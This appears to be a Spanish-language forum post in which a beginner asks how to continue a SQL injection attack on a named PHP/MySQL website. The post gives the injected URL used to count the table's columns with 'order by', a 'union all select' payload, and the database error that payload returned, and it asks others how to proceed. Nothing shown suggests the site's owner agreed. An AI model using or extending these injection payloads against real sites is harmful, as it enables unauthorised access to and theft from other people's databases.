Salu2,
Tengo una página que he podido, por lo menos saber las columnas de su base de datos que tiene, está creada en php y core sobre Mysql:
http://www.lapaginaweb.com/index.php?contingut=2&codi=-1%20order%20by%205/*
Poniendo al final /* me deja ver que hay 5 porque si pongo 6 me peta.
El problema está seguir, he provado con:
-1+union+all+select 1,2,3,4,5/*
Y nada me da este error:
No s'ha pogut llegir select * from contingut where codi=-1 union all select 1,2,3,4,5/*
Alguien sabe como proseguir.... gracias para la ayuda a un newbaby!!!!!